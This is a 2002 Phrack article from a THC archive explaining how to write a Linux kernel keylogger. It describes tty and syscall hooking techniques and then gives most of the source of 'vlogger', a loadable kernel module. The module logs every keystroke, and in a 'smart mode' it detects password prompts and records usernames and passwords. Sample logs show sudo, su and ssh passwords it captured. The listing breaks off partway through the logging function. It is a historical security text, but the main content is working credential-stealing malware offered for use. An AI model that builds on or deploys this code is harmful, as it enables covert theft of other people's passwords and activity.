initial push of all stuff :)
[oweals/thc-archive.git] / Papers / writing-linux-kernel-keylogger.txt
1
2                              ==Phrack Inc.==
3
4                Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12
5
6
7 |=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
8 |=-----------------------------------------------------------------------=|
9 |=------------------------=[ rd <rd@thc.org> ]=--------------------------=|
10 |=------------------------=[ June 19th, 2002 ]=--------------------------=|
11
12 --[ Contents
13
14  1 - Introduction
15
16  2 - How Linux keyboard driver work
17
18  3 - Kernel based keylogger approaches
19    3.1 - Interrupt handler
20    3.2 - Function hijacking
21        3.2.1 - handle_scancode
22        3.2.2 - put_queue
23        3.2.3 - receive_buf
24        3.2.4 - tty_read
25        3.2.5 - sys_read/sys_write
26
27  4 - vlogger
28    4.1 - The syscall/tty approach
29    4.2 - Features
30    4.3 - How to use
31
32  5 - Greets
33
34  6 - References
35
36  7 - Keylogger source
37
38
39
40
41 --[ 1 - Introduction
42
43   This article is divided into two parts.  The first part of the paper
44 gives an overview on how the linux keyboard driver work, and discusses
45 methods that can be used to create a kernel based keylogger.  This part
46 will be useful for those who want to write a kernel based keylogger, or to
47 write their own keyboard driver (for supporting input of non-supported
48 language in linux environment, ...) or to program taking advantage of many
49 features in the Linux keyboard driver.
50
51   The second part presents detail of vlogger, a smart kernel based linux
52 keylogger, and how to use it.  Keylogger is a very interesting code being
53 used widely in honeypots, hacked systems, ... by white and black hats.  As
54 most of us known, besides user space keyloggers (such as iob, uberkey,
55 unixkeylogger, ...), there are some kernel based keyloggers.  The earliest
56 kernel based keylogger is linspy of halflife which was published in Phrack
57 50 (see [4]).  And the recent kkeylogger is presented in 'Kernel Based
58 Keylogger' paper by mercenary (see [7]) that I found when was writing this
59 paper.  The common method of those kernel based keyloggers using is to log
60 user keystrokes by intercepting sys_read or sys_write system call.
61 However, this approach is quite unstable and slowing down the whole system
62 noticeably because sys_read (or sys_write) is the generic read/write
63 function of the system; sys_read is called whenever a process wants to read
64 something from devices (such as keyboard, file, serial port, ...).  In
65 vlogger, I used a better way to implement it that hijacks the tty buffer
66 processing function.
67
68   The reader is supposed to possess the knowledge on Linux Loadable Kernel
69 Module.  Articles [1] and [2] are recommended to read before further
70 reading.
71
72
73 --[ 2 - How Linux keyboard driver work
74
75   Lets take a look at below figure to know how user inputs from console
76 keyboard are processed:
77
78   _____________            _________             _________         
79  /             \ put_queue|         |receive_buf|         |tty_read
80 /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
81 \               /         |         |           |buffer   |        
82  \_____________/          |_________|           |_________|        
83
84      _________          ____________
85     |         |sys_read|            |
86 --->|/dev/ttyX|------->|user process|
87     |         |        |            |
88     |_________|        |____________|
89
90
91                             Figure 1
92
93   First, when you press a key on the keyboard, the keyboard will send
94 corresponding scancodes to keyboard driver.  A single key press can produce
95 a sequence of up to six scancodes.
96
97   The handle_scancode() function in the keyboard driver parses the stream
98 of scancodes and converts it into a series of key press and key release
99 events called keycode by using a translation-table via kbd_translate()
100 function.  Each key is provided with a unique keycode k in the range 1-127.
101 Pressing key k produces keycode k, while releasing it produces keycode
102 k+128. 
103
104   For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
105 Releasing 'a' produces keycode 158 (128+30).
106
107   Next, keycodes are converted to key symbols by looking them up on the
108 appropriate keymap.  This is a quite complex process. There are eight
109 possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,
110 ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers
111 and locks determines the keymap used.
112
113   After the above handling, the obtained characters are put into the raw
114 tty queue - tty_flip_buffer.
115
116   In the tty line discipline, receive_buf() function is called periodically
117 to get characters from tty_flip_buffer then put them into tty read queue.
118
119   When user process want to get user input, it calls read() function on
120 stdin of the process. sys_read() function will calls read() function
121 defined in file_operations structure (which is pointed to tty_read) of
122 corresponding tty (ex /dev/tty0) to read input characters and return to the
123 process.
124
125   The keyboard driver can be in one of 4 modes:
126         - scancode (RAW MODE): the application gets scancodes for input.  
127         It is used by applications that implement their own keyboard 
128         driver (ex: X11)
129
130         - keycode (MEDIUMRAW MODE): the application gets information on
131         which keys (identified by their keycodes) get pressed and 
132         released.
133
134         - ASCII (XLATE MODE): the application effectively gets the 
135         characters as defined by the keymap, using an 8-bit encoding.
136
137         - Unicode (UNICODE MODE): this mode only differs from the ASCII 
138         mode by allowing the user to compose UTF8 unicode characters by 
139         their decimal value, using Ascii_0 to Ascii_9, or their 
140         hexadecimal (4-digit) value, using Hex_0 to Hex_9.  A keymap can 
141         be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol, 
142         where each X is an hexadecimal digit). 
143
144   Those modes influence what type of data that applications will get as
145 keyboard input.  For more details on scancode, keycode and keymaps, please
146 read [3].
147
148
149 --[ 3 - Kernel based keylogger approaches
150
151   We can implement a kernel based keylogger in two ways by writing our own
152 keyboard interrupt handler or hijacking one of input processing functions. 
153
154
155 ----[ 3.1 - Interrupt handler
156
157   To log keystrokes, we will use our own keyboard interrupt handler.  Under
158 Intel architectures, the IRQ of the keyboard controlled is IRQ 1.  When
159 receives a keyboard interrupt, our own keyboard interrupt handler read the
160 scancode and keyboard status.  Keyboard events can be read and written via
161 port 0x60(Keyboard data register) and 0x64(Keyboard status register).
162
163 /* below code is intel specific */
164 #define KEYBOARD_IRQ 1 
165 #define KBD_STATUS_REG 0x64 
166 #define KBD_CNTL_REG 0x64 
167 #define KBD_DATA_REG 0x60 
168
169 #define kbd_read_input() inb(KBD_DATA_REG) 
170 #define kbd_read_status() inb(KBD_STATUS_REG) 
171 #define kbd_write_output(val) outb(val, KBD_DATA_REG) 
172 #define kbd_write_command(val) outb(val, KBD_CNTL_REG) 
173
174 /* register our own IRQ handler */
175 request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
176
177 In my_keyboard_irq_handler():
178         scancode = kbd_read_input(); 
179         key_status = kbd_read_status(); 
180         log_scancode(scancode);
181
182   This method is platform dependent.  So it won't be portable among
183 platforms.  And you have to be very careful with your interrupt handler if
184 you don't want to crash your box ;)
185
186
187 ----[ 3.2 - Function hijacking
188
189    Based on the Figure 1, we can implement our keylogger to log user inputs
190 by hijacking one of handle_scancode(), put_queue(), receive_buf(),
191 tty_read() and sys_read() functions.  Note that we can't intercept
192 tty_insert_flip_char() function because it is an INLINE function.
193
194
195 ------[ 3.2.1 - handle_scancode
196
197   This is the entry function of the keyboard driver (see keyboard.c).  It
198 handles scancodes which are received from keyboard.
199
200 # /usr/src/linux/drives/char/keyboard.c
201 void handle_scancode(unsigned char scancode, int down);
202
203   We can replace original handle_scancode() function with our own to logs
204 all scancodes.  But handle_scancode() function is not a global and exported
205 function.  So to do this, we can use kernel function hijacking technique
206 introduced by Silvio (see [5]).
207
208 /* below is a code snippet written by Plasmoid */
209 static struct semaphore hs_sem, log_sem;
210 static int logging=1;
211
212 #define CODESIZE 7
213 static char hs_code[CODESIZE];
214 static char hs_jump[CODESIZE] =
215        "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */
216        "\xff\xe0"                  /*      jmp    *%eax    */
217    ;
218
219 void (*handle_scancode) (unsigned char, int) =
220         (void (*)(unsigned char, int)) HS_ADDRESS;
221
222 void _handle_scancode(unsigned char scancode, int keydown)
223 {
224        if (logging && keydown)
225           log_scancode(scancode, LOGFILE);
226     
227        /*
228         * Restore first bytes of the original handle_scancode code.  Call
229         * the restored function and re-restore the jump code.  Code is
230         * protected by semaphore hs_sem, we only want one CPU in here at a
231         * time.
232         */     
233        down(&hs_sem);
234     
235        memcpy(handle_scancode, hs_code, CODESIZE);
236        handle_scancode(scancode, keydown);
237        memcpy(handle_scancode, hs_jump, CODESIZE);
238     
239        up(&hs_sem);
240 }
241
242 HS_ADDRESS is set by the Makefile executing this command
243 HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
244
245   Similar to method presented in 3.1, the advantage of this method is the
246 ability to log keystrokes under X and the console, no matter if a tty is
247 invoked or not.  And you will know exactly what key is pressed on the
248 keyboard (including special keys such as Control, Alt, Shift, Print Screen,
249 ...).  But this method is platform dependent and won't be portable among
250 platforms.  This method also can't log keystroke of remote sessions and is
251 quite complex for building an advance logger.
252
253
254 ------[ 3.2.2 - put_queue
255
256   This function is called by handle_scancode() function to put characters
257 into tty_queue. 
258
259 # /usr/src/linux/drives/char/keyboard.c
260 void put_queue(int ch);
261  
262   To intercept this function, we can use the above technique as in section
263 (3.2.1).
264
265
266 ------[ 3.2.3 - receive_buf
267
268   receive_buf() function is called by the low-level tty driver to send
269 characters received by the hardware to the line discipline for processing.
270
271 # /usr/src/linux/drivers/char/n_tty.c */
272 static void n_tty_receive_buf(struct tty_struct *tty, const 
273                                 unsigned char *cp, char *fp, int count)
274
275 cp is a pointer to the buffer of input character received by the device.
276 fp is a pointer to a pointer of flag bytes which indicate whether a
277 character was received with a parity error, etc.
278
279 Lets take a deeper look into tty structures
280
281 # /usr/include/linux/tty.h
282 struct tty_struct {
283         int     magic;
284         struct tty_driver driver;
285         struct tty_ldisc ldisc;
286         struct termios *termios, *termios_locked;
287         ...
288 }
289
290 # /usr/include/linux/tty_ldisc.h
291 struct tty_ldisc {
292         int     magic;
293         char    *name;
294         ...     
295         void    (*receive_buf)(struct tty_struct *, 
296                         const unsigned char *cp, char *fp, int count);
297         int     (*receive_room)(struct tty_struct *);
298         void    (*write_wakeup)(struct tty_struct *);
299 };
300
301   To intercept this function, we can save the original tty receive_buf()
302 function then set ldisc.receive_buf to our own new_receive_buf() function
303 in order to logging user inputs. 
304
305 Ex: to log inputs on the tty0
306
307 int fd = open("/dev/tty0", O_RDONLY, 0);
308 struct file *file = fget(fd);
309 struct tty_struct *tty = file->private_data;
310 old_receive_buf = tty->ldisc.receive_buf;
311 tty->ldisc.receive_buf = new_receive_buf;
312
313 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, 
314                                                 char *fp, int count)
315 {       
316         logging(tty, cp, count);        //log inputs
317
318         /* call the original receive_buf */
319         (*old_receive_buf)(tty, cp, fp, count);
320 }
321
322
323 ------[ 3.2.4 - tty_read
324
325   This function is called when a process wants to read input characters
326 from a tty via sys_read() function.
327
328 # /usr/src/linux/drives/char/tty_io.c
329 static ssize_t tty_read(struct file * file, char * buf, size_t count, 
330                                 loff_t *ppos)
331
332 static struct file_operations tty_fops = {
333         llseek:         tty_lseek,
334         read:           tty_read,
335         write:          tty_write,
336         poll:           tty_poll,
337         ioctl:          tty_ioctl,
338         open:           tty_open,
339         release:        tty_release,
340         fasync:         tty_fasync,
341 };
342
343 To log inputs on the tty0:
344
345 int fd = open("/dev/tty0", O_RDONLY, 0);
346 struct file *file = fget(fd);   
347 old_tty_read = file->f_op->read;
348 file->f_op->read = new_tty_read;
349
350
351 ------[ 3.2.5 - sys_read/sys_write
352
353   We will intercept sys_read/sys_write system calls to redirect it to our
354 own code which logs the content of the read/write calls.  This method was
355 presented by halflife in Phrack 50 (see [4]).  I highly recommend reading
356 that paper and a great article written by pragmatic called "Complete Linux
357 Loadable Kernel Modules" (see [2]).
358
359 The code to intercept sys_read/sys_write will be something like this:
360
361 extern void *sys_call_table[];
362 original_sys_read = sys_call_table[__NR_read];
363 sys_call_table[__NR_read] = new_sys_read;
364
365
366 --[ 4 - vlogger
367
368   This part will introduce my kernel keylogger which is used method
369 described in section 3.2.3 to acquire more abilities than common keyloggers
370 used sys_read/sys_write systemcall replacement approach.  I have tested the
371 code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and
372 2.4.18. 
373
374
375 ----[ 4.1 - The syscall/tty approach
376
377   To logging both local (logged from console) and remote sessions, I chose
378 the method of intercepting receive_buf() function (see 3.2.3).
379
380   In the kernel, tty_struct and tty_queue structures are dynamically
381 allocated only when the tty is open.  Thus, we also have to intercept
382 sys_open syscall to dynamically hooking the receive_buf() function of each
383 tty or pty when it's invoked.
384
385 // to intercept open syscall
386 original_sys_open = sys_call_table[__NR_open];
387 sys_call_table[__NR_open] = new_sys_open;
388
389 // new_sys_open()
390 asmlinkage int new_sys_open(const char *filename, int flags, int mode)
391 {
392 ...
393         // call the original_sys_open
394         ret = (*original_sys_open)(filename, flags, mode);
395         
396         if (ret >= 0) {
397                 struct tty_struct * tty;
398 ...
399                 file = fget(ret);
400                 tty = file->private_data;
401                 if (tty != NULL && 
402 ...
403                         tty->ldisc.receive_buf != new_receive_buf) {
404 ...
405                                 // save the old receive_buf                     
406                                 old_receive_buf = tty->ldisc.receive_buf;
407 ...
408
409                        /* 
410                         * init to intercept receive_buf of this tty
411                         * tty->ldisc.receive_buf = new_receive_buf;
412                         */
413                         init_tty(tty, TTY_INDEX(tty));
414                 }
415 ...
416 }
417
418 // our new receive_buf() function
419 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, 
420                                                 char *fp, int count)
421 {
422         if (!tty->real_raw && !tty->raw)        // ignore raw mode
423                 // call our logging function to log user inputs 
424                 vlogger_process(tty, cp, count); 
425         // call the original receive_buf
426         (*old_receive_buf)(tty, cp, fp, count);
427 }
428
429
430 ----[ 4.2 - Features
431
432   - Logs both local and remote sessions (via tty & pts)
433
434   - Separate logging for each tty/session.  Each tty has their own logging
435     buffer.
436
437   - Nearly support all special chars such as arrow keys (left, right, up,
438     down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
439     Home, Page Up, Page Down, BackSpace, ... 
440
441   - Support some line editing keys included CTRL-U and BackSpace.
442
443   - Timestamps logging, timezone supported (ripped off some codes from
444     libc).
445
446   - Multiple logging modes
447
448         o dumb mode: logs all keystrokes
449
450         o smart mode: detects password prompt automatically to log
451         user/password only.  I used the similar technique presented in
452         "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
453         Designer and Dug Song (see [6]).  When the application turns input
454         echoing off, we assume that it is for entering a password.
455
456         o normal mode: disable logging
457
458 You can switch between logging modes by using a magic password.
459
460 #define VK_TOGLE_CHAR   29      // CTRL-]
461 #define MAGIC_PASS      "31337" // to switch mode, type MAGIC_PASS 
462                                 // then press VK_TOGLE_CHAR key
463
464 ----[ 4.3 - How to use
465
466 Change the following options
467
468 // directory to store log files
469 #define LOG_DIR "/tmp/log"
470
471 // your local timezone
472 #define TIMEZONE        7*60*60 // GMT+7
473
474 // your magic password
475 #define MAGIC_PASS      "31337" 
476
477 Below is how the log file looks like:
478
479 [root@localhost log]# ls -l
480 total 60
481 -rw-------    1 root     root          633 Jun 19 20:59 pass.log
482 -rw-------    1 root     root        37593 Jun 19 18:51 pts11
483 -rw-------    1 root     root           56 Jun 19 19:00 pts20
484 -rw-------    1 root     root          746 Jun 19 20:06 pts26
485 -rw-------    1 root     root          116 Jun 19 19:57 pts29
486 -rw-------    1 root     root         3219 Jun 19 21:30 tty1
487 -rw-------    1 root     root        18028 Jun 19 20:54 tty2
488
489 ---in dumb mode
490 [root@localhost log]# head tty2         // local session
491 <19/06/2002-20:53:47 uid=501 bash> pwd
492 <19/06/2002-20:53:51 uid=501 bash> uname -a
493 <19/06/2002-20:53:53 uid=501 bash> lsmod
494 <19/06/2002-20:53:56 uid=501 bash> pwd
495 <19/06/2002-20:54:05 uid=501 bash> cd /var/log
496 <19/06/2002-20:54:13 uid=501 bash> tail messages
497 <19/06/2002-20:54:21 uid=501 bash> cd ~
498 <19/06/2002-20:54:22 uid=501 bash> ls
499 <19/06/2002-20:54:29 uid=501 bash> tty
500 <19/06/2002-20:54:29 uid=501 bash> [UP]
501
502 [root@localhost log]# tail pts11        // remote session  
503 <19/06/2002-18:48:27 uid=0 bash> cd new
504 <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
505 <19/06/2002-18:48:21 uid=0 bash> lsmod
506 <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
507 <19/06/2002-18:48:28 uid=0 bash> ls -l
508 <19/06/2002-18:48:30 uid=0 bash> tail pts11
509 <19/06/2002-18:48:38 uid=0 bash> [UP] | more
510 <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
511 <19/06/2002-18:50:48 uid=0 vi> :q
512 <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
513
514 ---in smart mode
515 [root@localhost log]# cat pass.log
516 [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
517 USER/CMD sudo traceroute yahoo.com
518 PASS 5hgt6d
519 PASS 
520
521 [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
522 USER/CMD ssh guest@host.com
523 PASS guest
524
525 [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
526 USER/CMD open ftp.ilog.fr
527 USER Anonymous
528 PASS heh@heh
529
530 [19/06/2002-20:59:54 tty=pts/29 uid=504 su]
531 USER/CMD su -
532 PASS asdf1234
533
534
535 Please check http://www.thc.org/ for update on the new version
536 of this tool.
537
538
539 --[ 5 - Greets  
540
541 Thanks to plasmoid, skyper for your very useful comments
542 Greets to THC, vnsecurity and all friends
543 Finally, thanks to mr. thang for english corrections
544
545
546 --[ 6 - References
547
548 [1] Linux Kernel Module Programming
549     http://www.tldp.org/LDP/lkmpg/
550 [2] Complete Linux Loadable Kernel Modules - Pragmatic
551     http://www.thc.org/papers/LKM_HACKING.html
552 [3] The Linux keyboard driver - Andries Brouwer
553     http://www.linuxjournal.com/lj-issues/issue14/1080.html
554 [4] Abuse of the Linux Kernel for Fun and Profit - Halflife
555     http://www.phrack.com/phrack/50/P50-05
556 [5] Kernel function hijacking - Silvio Cesare
557     http://www.big.net.au/~silvio/kernel-hijack.txt
558 [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer 
559     http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
560 [7] Kernel Based Keylogger - Mercenary
561     http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
562
563 --[ 7 - Keylogger sources
564
565 <++> vlogger/Makefile
566 #
567 #  vlogger 1.0 by rd
568 #
569 #  LOCAL_ONLY           logging local session only. Doesn't intercept
570 #                       sys_open system call
571 #  DEBUG                Enable debug. Turn on this options will slow
572 #                       down your system
573 #
574
575 KERNELDIR =/usr/src/linux
576 include $(KERNELDIR)/.config
577 MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
578
579 MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
580 CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
581         -Wstrict-prototypes -fomit-frame-pointer -pipe \
582         -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
583         -malign-functions=2
584
585 all : vlogger.o
586
587 vlogger.o: vlogger.c
588         $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
589
590 clean:
591         rm -f *.o
592 <-->
593 <++> vlogger/vlogger.c
594 /*
595  *  vlogger 1.0
596  *
597  *  Copyright (C) 2002 rd <rd@vnsecurity.net>
598  *
599  *  Please check http://www.thc.org/ for update
600  *
601  *  This program is free software; you can redistribute it and/or modify
602  *  it under the terms of the GNU General Public License as published by
603  *  the Free Software Foundation; either version 2 of the License, or
604  *  (at your option) any later version
605  *
606  *  This program is distributed in the hope that it will be useful, but 
607  *  WITHOUT ANY WARRANTY; without even the implied warranty of
608  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU 
609  *  General Public License for more details.
610  *
611  *  Greets to THC & vnsecurity
612  *
613  */
614
615 #define __KERNEL_SYSCALLS__
616 #include <linux/version.h>
617 #include <linux/module.h>
618 #include <linux/kernel.h>
619 #include <linux/smp_lock.h>
620 #include <linux/sched.h>
621 #include <linux/unistd.h>
622 #include <linux/string.h>
623 #include <linux/file.h>
624 #include <asm/uaccess.h>
625 #include <linux/proc_fs.h>
626 #include <asm/errno.h>
627 #include <asm/io.h>
628
629 #ifndef KERNEL_VERSION
630 #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
631 #endif
632
633 #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
634 MODULE_LICENSE("GPL");
635 MODULE_AUTHOR("rd@vnsecurity.net");
636 #endif
637
638 #define MODULE_NAME "vlogger "
639 #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
640
641 #ifdef DEBUG
642 #define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
643 #else
644 #define DPRINT(format, args...)
645 #endif
646
647 #define N_TTY_NAME "tty"
648 #define N_PTS_NAME "pts"
649 #define MAX_TTY_CON 8
650 #define MAX_PTS_CON 256
651 #define LOG_DIR "/tmp/log"
652 #define PASS_LOG LOG_DIR "/pass.log"
653
654 #define TIMEZONE 7*60*60        // GMT+7
655
656 #define ESC_CHAR 27
657 #define BACK_SPACE_CHAR1 127    // local
658 #define BACK_SPACE_CHAR2 8      // remote
659
660 #define VK_TOGLE_CHAR 29        // CTRL-]
661 #define MAGIC_PASS "31337"      // to switch mode, press MAGIC_PASS and 
662                                 // VK_TOGLE_CHAR
663
664 #define VK_NORMAL 0
665 #define VK_DUMBMODE 1
666 #define VK_SMARTMODE 2
667 #define DEFAULT_MODE VK_DUMBMODE
668
669 #define MAX_BUFFER 256
670 #define MAX_SPECIAL_CHAR_SZ 12
671
672 #define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
673                         + (tty)->driver.name_base
674 #define TTY_INDEX(tty) tty->driver.type == \
675                         TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
676                         TTY_NUMBER(tty):TTY_NUMBER(tty)
677 #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
678 #define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
679                                                         buf, count)
680
681 #define TTY_NAME(tty) (tty->driver.type == \
682                 TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
683                 tty->driver.type == TTY_DRIVER_TYPE_PTY && \
684                 tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
685
686 #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
687 #define END_KMEM set_fs(old_fs); }
688
689 extern void *sys_call_table[];
690 int errno;
691
692 struct tlogger {
693         struct tty_struct *tty;
694         char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
695         int lastpos;
696         int status;
697         int pass;
698 };
699
700 struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
701 void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
702                         char *, int);
703 asmlinkage int (*original_sys_open)(const char *, int, int);
704
705 int vlogger_mode = DEFAULT_MODE;
706
707 /* Prototypes */
708 static inline void init_tty(struct tty_struct *, int);
709
710 /*
711 static char *_tty_make_name(struct tty_struct *tty, 
712                                 const char *name, char *buf)
713 {
714         int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
715
716         if (!tty) 
717                 strcpy(buf, "NULL tty");
718         else
719                 sprintf(buf, name,
720                         idx + tty->driver.name_base);
721         return buf;
722 }
723
724 char *tty_name(struct tty_struct *tty, char *buf)
725 {
726         return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
727 }
728 */
729
730 #define SECS_PER_HOUR   (60 * 60)
731 #define SECS_PER_DAY    (SECS_PER_HOUR * 24)
732 #define isleap(year) \
733         ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
734 #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
735 #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
736
737 struct vtm {
738         int tm_sec;
739         int tm_min;
740         int tm_hour;
741         int tm_mday;
742         int tm_mon;
743         int tm_year;
744 };
745
746
747 /* 
748  *  Convert from epoch to date 
749  */
750  
751 int epoch2time (const time_t *t, long int offset, struct vtm *tp)
752 {
753         static const unsigned short int mon_yday[2][13] = {
754            /* Normal years.  */
755            { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
756            /* Leap years.  */
757            { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
758         };
759
760         long int days, rem, y;
761         const unsigned short int *ip;
762
763         days = *t / SECS_PER_DAY;
764         rem = *t % SECS_PER_DAY;
765         rem += offset;
766         while (rem < 0) { 
767                 rem += SECS_PER_DAY;
768                 --days;
769         }
770         while (rem >= SECS_PER_DAY) {
771                 rem -= SECS_PER_DAY;
772                 ++days;
773         }
774         tp->tm_hour = rem / SECS_PER_HOUR;
775         rem %= SECS_PER_HOUR;
776         tp->tm_min = rem / 60;
777         tp->tm_sec = rem % 60;
778         y = 1970;
779
780         while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
781                 long int yg = y + days / 365 - (days % 365 < 0);
782                 days -= ((yg - y) * 365
783                         + LEAPS_THRU_END_OF (yg - 1)
784                         - LEAPS_THRU_END_OF (y - 1));
785                 y = yg;
786         }
787         tp->tm_year = y - 1900;
788         if (tp->tm_year != y - 1900)
789                 return 0;
790         ip = mon_yday[isleap(y)];
791         for (y = 11; days < (long int) ip[y]; --y)
792                 continue;
793         days -= ip[y];
794         tp->tm_mon = y;
795         tp->tm_mday = days + 1;
796         return 1;
797 }
798
799
800 /* 
801  *  Get current date & time
802  */
803
804 void get_time (char *date_time) 
805 {
806         struct timeval tv;
807         time_t t;
808         struct vtm tm;
809         
810         do_gettimeofday(&tv);
811         t = (time_t)tv.tv_sec;
812         
813         epoch2time(&t, TIMEZONE, &tm);
814
815         sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
816                 tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
817                 tm.tm_sec);
818 }
819
820
821 /* 
822  * Get task structure from pgrp id
823  */
824
825 inline struct task_struct *get_task(pid_t pgrp) 
826 {
827         struct task_struct *task = current;
828
829         do {
830                 if (task->pgrp == pgrp) {
831                         return task;
832                 }
833                 task = task->next_task;
834         } while (task != current);
835         return NULL;
836 }
837
838
839 #define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
840 #define WRITABLE(f) (f->f_op && f->f_op->write)
841
842 int write_to_file(char *logfile, char *buf, int size)
843 {
844         int ret = 0;
845         struct file   *f = NULL;
846
847         lock_kernel();
848         BEGIN_KMEM;
849         f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
850
851         if (IS_ERR(f)) {
852                 DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
853                 ret = -1;
854         } else {
855                 if (WRITABLE(f))
856                         _write(f, buf, size);
857                 else {
858                         DPRINT("%s does not have a write method\n",
859                                 logfile);
860                         ret = -1;
861                 }
862                         
863                 if ((ret = filp_close(f,NULL)))
864                         DPRINT("Error %d closing %s\n", -ret, logfile);
865         }
866         END_KMEM;
867         unlock_kernel();
868
869         return ret;
870 }
871
872
873 #define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
874 #define END_ROOT current->fsuid = saved_fsuid; }
875
876
877 /* 
878  *  Logging keystrokes
879  */
880
881 void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) 
882 {
883         int i;
884
885         char logfile[256];
886         char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
887         char date_time[24];
888         struct task_struct *task;
889
890         if (vlogger_mode == VK_NORMAL)
891                 return;
892
893         if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
894                 return;
895                 
896         task = get_task(tty->pgrp);
897                 
898         for (i=0; i<tmp->lastpos; i++)
899                 if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
900
901         if (!cont) 
902                 tmp->buf[tmp->lastpos++] = 0x0A;
903         
904         tmp->buf[tmp->lastpos] = 0;
905
906         if (vlogger_mode == VK_DUMBMODE) {
907                 snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
908                                 LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
909                 BEGIN_ROOT
910                 if (!tmp->status) {
911                         get_time(date_time);
912                         if (task)
913                                 snprintf(loginfo, sizeof(loginfo)-1,
914                                         "<%s uid=%d %s> %s", date_time,
915                                         task->uid, task->comm, tmp->buf);
916                         else
917                                 snprintf(loginfo, sizeof(loginfo)-1,
918                                         "<%s> %s", date_time, tmp->buf);
919                         
920                         write_to_file(logfile, loginfo, strlen(loginfo));
921                 } else {
922                         write_to_file(logfile, tmp->buf, tmp->lastpos);
923                 }
924                 END_ROOT
925
926 #ifdef DEBUG
927                 if (task)
928                         DPRINT("%s/%d uid=%d %s: %s", 
929                                 TTY_NAME(tty), TTY_NUMBER(tty), 
930                                 task->uid, task->comm, tmp->buf);
931                 else
932                         DPRINT("%s", tmp->buf);
933 #endif
934                 tmp->status = cont;
935                 
936         } else {
937
938                 /*
939                  *  Logging USER/CMD and PASS in SMART_MODE
940                  */
941
942                 BEGIN_ROOT
943                 if (!tmp->pass) {
944                         get_time(date_time);
945                         if (task)
946                                 snprintf(loginfo, sizeof(loginfo)-1,
947                                         "\n[%s tty=%s/%d uid=%d %s]\n"
948                                         "USER/CMD %s", date_time, 
949                                         TTY_NAME(tty),TTY_NUMBER(tty), 
950                                         task->uid, task->comm, tmp->buf);
951                         else
952                                 snprintf(loginfo, sizeof(loginfo)-1,
953                                         "\n[%s tty=%s/%d]\nUSER/CMD %s",
954                                         date_time, TTY_NAME(tty), 
955                                         TTY_NUMBER(tty), tmp->buf);
956
957                         write_to_file(PASS_LOG, loginfo, strlen(loginfo));
958                 } else {
959                         snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
960                                         tmp->buf);
961                         write_to_file (PASS_LOG, loginfo, strlen(loginfo));
962                 }
963
964                 END_ROOT
965
966 #ifdef DEBUG
967                 if (!tmp->pass)
